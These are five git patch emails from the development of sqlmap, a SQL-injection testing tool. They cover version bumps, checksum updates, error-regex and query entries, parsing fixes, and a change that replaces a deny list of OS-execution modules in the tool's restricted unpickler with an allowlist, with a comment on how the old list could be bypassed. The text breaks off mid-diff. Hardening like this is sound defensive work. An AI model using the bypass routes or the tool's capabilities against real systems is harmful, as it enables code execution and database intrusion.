From bfe410c8d3e08f17609e6e7f1dea632d8371f6e6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 12 Jun 2026 17:50:13 +0200 Subject: [PATCH 001/165] Minor update of error regexes --- data/txt/sha256sums.txt | 4 ++-- data/xml/errors.xml | 3 +++ lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a5091a6f1..828b8c095 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -77,7 +77,7 @@ a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banne e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml 0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml -bc23e6213d55390661da57ca7424b3d9876062015cf8f5b66717157bdd3895ea data/xml/errors.xml +1e27cf3cb3b8a65abad3b597afb792a2c03a906f0e958a7f3e76f1a082d15159 data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml 53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -dcd48ee4483e0ef394e4d4f7bb5566b107ea0e0d4b665ad2b0280ecb12799b47 lib/core/settings.py +722b6d36366f9f553918c3482a55b623a8dad3374410b56c90d6ff39c0245152 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 14e4648cc..009ff6376 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -16,6 +16,7 @@ + @@ -34,6 +35,8 @@ + + diff --git a/lib/core/settings.py b/lib/core/settings.py index a39968180..9bb36b7fe 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.95" +VERSION = "1.10.6.96" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 6fc0ddab8fa0acf904178eac30ba0de40b357660 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 14 Jun 2026 09:15:12 +0200 Subject: [PATCH 002/165] Minor update --- data/txt/sha256sums.txt | 4 ++-- data/xml/errors.xml | 9 ++++++--- lib/core/settings.py | 2 +- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 828b8c095..0531bb6cd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -77,7 +77,7 @@ a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banne e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml 0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml -1e27cf3cb3b8a65abad3b597afb792a2c03a906f0e958a7f3e76f1a082d15159 data/xml/errors.xml +0baf0fade74d4ad294ee88ef306743da0c6a4631b8d640708809103ef9cf63ed data/xml/errors.xml d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml 53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -722b6d36366f9f553918c3482a55b623a8dad3374410b56c90d6ff39c0245152 lib/core/settings.py +1c130171ed2b53992204d421c7dc663cc122bf16ec73f544ba72c7b3e7487ff9 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 009ff6376..1b34d5515 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -16,7 +16,8 @@ - + + @@ -35,8 +36,8 @@ - - + + @@ -81,6 +82,8 @@ + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 9bb36b7fe..7c623ca8b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.96" +VERSION = "1.10.6.97" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 93d2439624566b04130e7bd2bd3ef90a59964d05 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 14 Jun 2026 09:40:45 +0200 Subject: [PATCH 003/165] Adding missing substring query entries --- data/txt/sha256sums.txt | 4 ++-- data/xml/queries.xml | 3 +++ lib/core/settings.py | 2 +- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 0531bb6cd..ea1056df8 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -8b63fda09d5c5e43ad8e6db1db90e5b1017fbe02735f3858843fc52118e3a33a data/xml/queries.xml +9d7dcbc6c5e368c44db851865ff49c791c3dee1ee62d8c02af8f8b15f4551aed data/xml/queries.xml 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1c130171ed2b53992204d421c7dc663cc122bf16ec73f544ba72c7b3e7487ff9 lib/core/settings.py +2eb856bf625266a4cba156b0ff58a1c19ee271fa27289acdf954faa7fadc2005 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index e2f284057..0d32e5a07 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1713,6 +1713,7 @@ + @@ -1752,6 +1753,7 @@ + @@ -1803,6 +1805,7 @@ + diff --git a/lib/core/settings.py b/lib/core/settings.py index 7c623ca8b..6c1641b7a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.97" +VERSION = "1.10.6.98" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bc4ce6e44a0609d6870f62433de4cb676138ffc1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 14 Jun 2026 10:56:44 +0200 Subject: [PATCH 004/165] Minor patch for python2 --- data/txt/sha256sums.txt | 6 +++--- lib/core/compat.py | 6 ++++++ lib/core/settings.py | 2 +- lib/utils/hashdb.py | 1 + 4 files changed, 11 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ea1056df8..c8bf084d2 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -168,7 +168,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller bc655c5f09a4048e53d2fec5f65e9e45024c2ad9882b8824b0d338917fd6496b lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py c91b6b9429a50d28b88334e3f88557d40a01893a7e69c30186c2f6efd0ce9906 lib/core/common.py -f30b4eccdb574731fa7e6ef48e71ea82d4bc99be70a2e27bff230943e9039313 lib/core/compat.py +8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py e37bfd314a46699b14e1c8a5ea851d546d3a36bea8e5f37466ef2921ff78fefd lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5 lib/core/datatype.py @@ -188,7 +188,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -2eb856bf625266a4cba156b0ff58a1c19ee271fa27289acdf954faa7fadc2005 lib/core/settings.py +a1b8c758a0b9a4952c015bc46bb68b779a7b2e75b73419318bf4c9b6d91ab702 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -248,7 +248,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py -b74a311e1cd30ec62e54684f970c14bfd85ffde225b9ddbbb12b85f3c528f8c2 lib/utils/hashdb.py +0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py 71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py e7d31de0e268c129ee11c590eb618f73a85e1022c08b8ed1f77753043c949214 lib/utils/pivotdumptable.py diff --git a/lib/core/compat.py b/lib/core/compat.py index 681670332..08d8f02d7 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -280,6 +280,12 @@ else: xrange = xrange buffer = buffer +try: + RecursionError = RecursionError +except NameError: + # Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5) + RecursionError = RuntimeError + def LooseVersion(version): """ >>> LooseVersion("1.0") == LooseVersion("1.0") diff --git a/lib/core/settings.py b/lib/core/settings.py index 6c1641b7a..2e276bd84 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.98" +VERSION = "1.10.6.99" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index e3fc51808..fbd58b0ce 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -16,6 +16,7 @@ from lib.core.common import getSafeExString from lib.core.common import serializeObject from lib.core.common import singleTimeWarnMessage from lib.core.common import unserializeObject +from lib.core.compat import RecursionError from lib.core.compat import xrange from lib.core.convert import getBytes from lib.core.convert import getUnicode From e24678fc318789cd514a18b2a7d3c02376785e20 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 14 Jun 2026 17:05:32 +0200 Subject: [PATCH 005/165] Couple of bug fixes --- data/txt/sha256sums.txt | 20 ++++++++++---------- extra/cloak/cloak.py | 2 -- lib/core/convert.py | 2 ++ lib/core/patch.py | 14 ++++++++------ lib/core/settings.py | 5 ++++- lib/parse/html.py | 8 ++++---- lib/parse/sitemap.py | 2 +- lib/request/basic.py | 12 ++++++++++++ lib/utils/api.py | 4 ++-- lib/utils/purge.py | 23 +++++++++++++++++------ lib/utils/sqlalchemy.py | 8 ++++++-- 11 files changed, 66 insertions(+), 34 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c8bf084d2..92ae9257c 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -118,7 +118,7 @@ c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translatio 8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py -b8d919ad6c632a9f5b292ee6c0476e9b092a39c0727fe89d12102d1938217116 extra/cloak/cloak.py +7f6394c9b3566bf93fc10020bc584aa8fac36dc11c3c523096eadc63ab243ec9 extra/cloak/cloak.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/cloak/__init__.py 6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt 4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e extra/dbgtool/dbgtool.py @@ -169,7 +169,7 @@ bc655c5f09a4048e53d2fec5f65e9e45024c2ad9882b8824b0d338917fd6496b lib/core/agent ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py c91b6b9429a50d28b88334e3f88557d40a01893a7e69c30186c2f6efd0ce9906 lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py -e37bfd314a46699b14e1c8a5ea851d546d3a36bea8e5f37466ef2921ff78fefd lib/core/convert.py +742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py 6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5 lib/core/datatype.py 70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py @@ -182,13 +182,13 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py 3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py -3371a9c79ad7d2eb578e705cb077098a9f63cabb5472e4e66c4dac094a438bcd lib/core/patch.py +2e66d74a4d9adb9ce30f48e22ab83b7fdccb54e7ea7b74a6104bda7d80a71a7a lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -a1b8c758a0b9a4952c015bc46bb68b779a7b2e75b73419318bf4c9b6d91ab702 lib/core/settings.py +40244898d0eb5e2634a6794d78fa29315e9e4b9c6f773133a29dd20259bc63a0 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -203,12 +203,12 @@ b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unesc 02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py -1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952 lib/parse/html.py +ea9b195e5f5030b96d1993c106c1e13fb5c7faaf6bdc5daacfd06ec984e7f323 lib/parse/html.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py -455ab0ec63e55cd56ce4a884b85bdc089223155008cab0f3696da5a33118f95b lib/parse/sitemap.py +c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py -de8e087e041e3252e6dd60d171a0cfe349f1e11764274108e8e13ba5be992ef3 lib/request/basic.py +369484a2999d29f49bf839a329d1686ed94f6ea27c695e027fe08c8da51f30a3 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py 09c2d8786fb5280f5f14a7b4345ecb2e7c2ca836ee06a6cf9b51770df923d94c lib/request/comparison.py c4a0759ee29ce8a29648090660dc273494abef9bda52430c38e41675a9b6ac6a lib/request/connect.py @@ -241,7 +241,7 @@ f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py 30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py a8a795f29ec6fd66482926f04b054ed492a033982c3b7837c5d2ea32368acec0 lib/techniques/union/use.py -5832f1b9cce5e8fe71cc1e07a690fa30f2bc0caa07e734220372a846aae6b95f lib/utils/api.py +7c33894b640d93fc8062781525586791479c9984c3de04283826642e5c7c4374 lib/utils/api.py 442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py @@ -253,11 +253,11 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py e7d31de0e268c129ee11c590eb618f73a85e1022c08b8ed1f77753043c949214 lib/utils/pivotdumptable.py c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py -27afe211030d06db28df85296bfbf698296c94440904c390cef0ff0c259dbbc5 lib/utils/purge.py +2cd84db16edef8c9948e197a51d870cf1c338f4a89037b4d422de990f4a45237 lib/utils/purge.py f635872093a12cd63a72d77adf88e8f8cd4084a5cc64384f12966cd75a499bdf lib/utils/safe2bin.py de4be7e291db0962cd59f9c04b3f7259f846e315df1fd9b323954f89fae0b2db lib/utils/search.py 8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py -92361b3c14ca472f0f89c275814da021c4f0e2de6ffa1bffc691b4cdc38d59dc lib/utils/sqlalchemy.py +2760c4b82382e501f16bb98edec9531f46e5b286fbf004b346545b9b62f84824 lib/utils/sqlalchemy.py f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c lib/utils/tui.py e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index 465f220b8..4b0d70d0c 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None): print(ex) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) - finally: - f.close() return data diff --git a/lib/core/convert.py b/lib/core/convert.py index c79628d9a..848ae696f 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -45,6 +45,8 @@ def base64pickle(value): >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] True + >>> isinstance(base64unpickle(base64pickle(BigArray([1, 2, 3]))), BigArray) + True """ retVal = None diff --git a/lib/core/patch.py b/lib/core/patch.py index b2ca4aee9..0b3bd716e 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -182,15 +182,17 @@ def dirtyPatches(): import pickle if not getattr(pickle, "_patched", False): class RestrictedUnpickler(pickle.Unpickler): + # Note: allowlist (not blacklist) - a module blacklist is bypassable (e.g. importlib/ctypes/operator), so only + # explicitly-safe builtin data types and sqlmap's own (and bundled) classes are permitted to be unpickled def find_class(self, module, name): - # blacklist for OS-level execution modules - if module in ("os", "subprocess", "sys", "posix", "nt", "pty", "commands", "shutil"): + # safe builtin data types only (blocks eval/exec/__import__/getattr/etc.) + if module in ("builtins", "__builtin__"): + if name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType", "complex"): + raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name)) + # everything else must be one of sqlmap's own (or bundled) classes (e.g. lib.core.datatype.AttribDict) + elif (module or "").split(".")[0] not in ("lib", "plugins", "thirdparty"): raise ValueError("unpickling of module '%s' is forbidden" % module) - # partial whitelist for builtins to allow safe data types but block eval/exec/__import__ - if module in ("builtins", "__builtin__") and name not in ("set", "frozenset", "dict", "list", "tuple", "int", "float", "bool", "str", "bytes", "bytearray", "object", "NoneType"): - raise ValueError("unpickling of '%s.%s' is forbidden" % (module, name)) - # Python 2/3 method resolution if hasattr(pickle.Unpickler, "find_class"): return pickle.Unpickler.find_class(self, module, name) diff --git a/lib/core/settings.py b/lib/core/settings.py index 2e276bd84..c64fe424e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.99" +VERSION = "1.10.6.100" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -681,6 +681,9 @@ TRIM_STDOUT_DUMP_SIZE = 256 # Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149 DUMP_FILE_BUFFER_SIZE = 1024 +# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size) +PURGE_BLOCK_SIZE = 1024 * 1024 + # Parse response headers only first couple of times PARSE_HEADERS_LIMIT = 3 diff --git a/lib/parse/html.py b/lib/parse/html.py index 380012354..b4d9883a9 100644 --- a/lib/parse/html.py +++ b/lib/parse/html.py @@ -27,11 +27,11 @@ class HTMLHandler(ContentHandler): self._dbms = None self._page = (page or "") + self._urldecodedPage = urldecode(self._page) try: - self._lower_page = self._page.lower() + self._lowerPage = self._urldecodedPage.lower() # Note: keyword pre-filter must match the page that re.search() runs on (the URL-decoded one) except SystemError: # https://bugs.python.org/issue18183 - self._lower_page = None - self._urldecoded_page = urldecode(self._page) + self._lowerPage = None self.dbms = None @@ -53,7 +53,7 @@ class HTMLHandler(ContentHandler): keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() - if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I): + if ('|' in regexp or kb.cache.regex[regexp] in (self._lowerPage or kb.cache.regex[regexp])) and re.search(regexp, self._urldecodedPage, re.I): self.dbms = self._dbms self._markAsErrorPage() kb.forkNote = kb.forkNote or attrs.get("fork") diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 4324eddee..fd68ece04 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -41,7 +41,7 @@ def parseSitemap(url, retVal=None, visited=None): raise SqlmapSyntaxException(errMsg) if content: - content = re.sub(r"", "", content, flags=re.DOTALL) + content = re.sub(r"", "", content, flags=re.DOTALL) # Note: strip (possibly multi-line) XML comments so commented-out entries aren't harvested for match in re.finditer(r"<\w*?loc[^>]*>\s*([^<]+)", content, re.I): if abortedFlag: diff --git a/lib/request/basic.py b/lib/request/basic.py index c72e946b5..2d72a3242 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -284,6 +284,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): '\\t' >>> getText(decodePage(b"J", None, "text/html; charset=utf-8")) 'J' + >>> decodePage(b"™", None, "text/html; charset=utf-8") == u"\u2122" + True """ if not page or (conf.nullConnection and len(page) < 2): @@ -379,6 +381,16 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): return retVal page = re.sub(r"&#(\d+);", _, page) + # e.g. ’…™ (hex numeric 